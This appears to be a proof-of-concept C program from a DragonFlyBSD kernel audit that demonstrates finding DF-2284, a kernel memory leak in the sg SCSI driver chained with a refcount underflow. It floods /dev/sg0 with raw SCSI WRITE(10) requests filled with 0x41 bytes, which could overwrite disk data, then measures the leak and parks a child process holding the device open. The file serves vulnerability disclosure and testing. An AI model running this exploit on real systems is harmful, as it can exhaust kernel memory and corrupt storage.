⬢ DragonFlyBSD Kernel Audit
DF-2284 / sg2284.c
← back to finding ↓ download raw
/*
 * DF-2284 PoC v2 -- sgwrite() queues sg_rdwr+ccb+buf on rdwr_done that
 * only a matching sgread() ever frees; sgoninvalidate()/sgcleanup()
 * never drain the list -> write-only usage leaks kernel memory forever.
 *
 * v2 choreography (designed around the DF-2282 open/close refcount bug
 * so the measurements survive):
 *   phase 1 (this process): single open, N write-only requests,
 *      vmstat M_DEVBUF delta #1, then fork a HOLDER that just parks with
 *      the fd open; parent exits (file refcount 2->1, no sgclose).
 *   phase 2 (external): vmstat delta #2 (fd still open, entries parked).
 *   phase 3 (external): kill -9 holder -> last close -> sgclose ->
 *      cam_periph_release (refcount 1->0: the DF-2282 underflow) ->
 *      sgoninvalidate+sgcleanup run with rdwr_done full -> vmstat
 *      delta #3 (entries now orphaned forever: softc freed).
 *
 * Expected: delta#1 ~= N*(64K + sizeof(union ccb) + ~120B); delta#3
 * unchanged from delta#2 (nothing drained at invalidation/cleanup).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>

struct sg_hdr_local {
	int32_t pack_len;
	int32_t reply_len;
	int32_t pack_id;
	int32_t result;
	uint32_t bits;
	unsigned char sense[16];
};
#define SG_HDR_SIZE 36

#define NWRITE 400
#define DATASZ (64 * 1024)

static long
mdevbuf_inuse(void)
{
	FILE *f = popen("vmstat -m 2>/dev/null | grep -w devbuf", "r");
	char line[256];
	long kb = -1;

	if (f == NULL)
		return (-1);
	while (fgets(line, sizeof(line), f) != NULL)
		if (sscanf(line, "%*s %ld", &kb) == 1)
			break;
	pclose(f);
	return (kb);
}

int
main(void)
{
	static unsigned char req[SG_HDR_SIZE + 6 + DATASZ];
	struct sg_hdr_local *h = (struct sg_hdr_local *)req;
	unsigned char *cdb = req + SG_HDR_SIZE;
	long b0, b1;
	pid_t holder;
	int fd, i;

	setvbuf(stdout, NULL, _IONBF, 0);
	b0 = mdevbuf_inuse();
	printf("DF2284: M_DEVBUF before: %ld K\n", b0);

	fd = open("/dev/sg0", O_RDWR);
	if (fd < 0) {
		printf("DF2284: open /dev/sg0 FAILED %s\n", strerror(errno));
		return (1);
	}

	memset(req, 0x41, sizeof(req));
	cdb[0] = 0x2a;			/* WRITE(10) */
	cdb[8] = 0;

	for (i = 0; i < NWRITE; i++) {
		h->pack_len = (int32_t)sizeof(req);
		h->reply_len = 0;
		h->pack_id = 0x9000 + i;
		if (write(fd, req, sizeof(req)) != (ssize_t)sizeof(req)) {
			printf("DF2284: write %d FAILED %s\n", i,
			    strerror(errno));
			break;
		}
	}
	printf("DF2284: queued %d write-only sg requests, no read() issued\n", i);
	sleep(3);

	b1 = mdevbuf_inuse();
	printf("DF2284: M_DEVBUF after writes: %ld K (delta %ld K; "
	    "predicted ~%d K)\n", b1, b1 - b0, (int)(NWRITE * 67 / 1024));

	/* park a holder with the fd open; parent exits without sgclose */
	holder = fork();
	if (holder == 0) {
		signal(SIGTERM, SIG_IGN);
		for (;;)
			pause();
		_exit(0);
	}
	printf("DF2284: holder pid %d parks with fd open "
	    "(external phases: vmstat, then kill -9 %d)\n", holder, holder);
	sleep(1);
	return ((b1 - b0) > (NWRITE * 67 / 1024) / 2 ? 0 : 1);
}